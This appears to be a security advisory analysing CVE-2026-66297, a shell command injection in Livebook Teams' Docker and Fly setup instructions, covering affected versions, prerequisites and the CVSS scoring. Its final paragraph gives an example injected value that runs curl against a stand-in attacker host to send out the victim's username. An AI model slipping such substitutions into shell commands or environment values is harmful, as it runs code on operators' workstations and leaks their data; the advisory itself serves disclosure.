Livebook CVE-2026-66297

The attacker must hold privileges sufficient to write deployment group environment variables within a Livebook Teams hub - this is a High privilege level (PR:H in CVSS). The vulnerable code paths are docker_instructions/2 and fly_instructions/4 specifically; the Kubernetes instruction path is not affected. Execution of the injected payload is not automatic: a secondary user must navigate to the deployment group page, copy the generated setup command, and execute it in a shell on their machine without reviewing the environment variable values embedded in it. Active user interaction (UI:A) is therefore a hard prerequisite. The payload executes on the victim user's local machine, not on the Livebook server - no direct server-side code execution occurs. Exploitation is limited to Livebook versions 0.13.0-0.18.6 and 0.19.0-0.19.8 running the Teams hub feature with at least one deployment group configured.

The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:H/UI:A/SC:H/SI:H/SA:H) accurately captures the asymmetric threat model: exploitation requires High privileges on the Livebook Teams instance to set deployment group environment variables, and then depends on Active user interaction - a secondary user must copy and run the generated command without reviewing it. There is no impact on the Livebook server itself (VC:N/VI:N/VA:N), but the subsequent system (the operator's workstation running the command) faces High confidentiality, integrity, and availability impact. The AT:P (attack timing: prerequisite) notation reflects that success depends on the victim's behavior. No KEV listing exists and no public exploit has been identified at time of analysis, so real-world risk is constrained primarily by the high privilege bar to inject the payload and the social engineering dependency for execution. EPSS data is not available in the provided intelligence; given the niche deployment footprint and multi-step exploitation path, real-world exploitation probability is judged low despite the high downstream impact. This is a genuine security issue but is not a mass-exploitation candidate - it is most relevant in multi-tenant or shared Livebook Teams environments where a malicious or compromised privileged user could target DevOps operators.

A malicious or compromised Livebook Teams administrator sets a deployment group environment variable to a value containing a shell command substitution such as MY_VAR=$(curl http://attacker.example/exfil?d=$(whoami)). When a DevOps engineer visits the deployment group page, Livebook generates Docker run instructions interpolating this value into a double-quoted shell word without escaping, and displays the command with a prominent copy button. The engineer copies the command and pastes it into their terminal, causing the injected command to execute on their workstation under their own account. No public exploit code has been identified at time of analysis, but the injection technique requires no special tooling beyond setting a malicious environment variable value.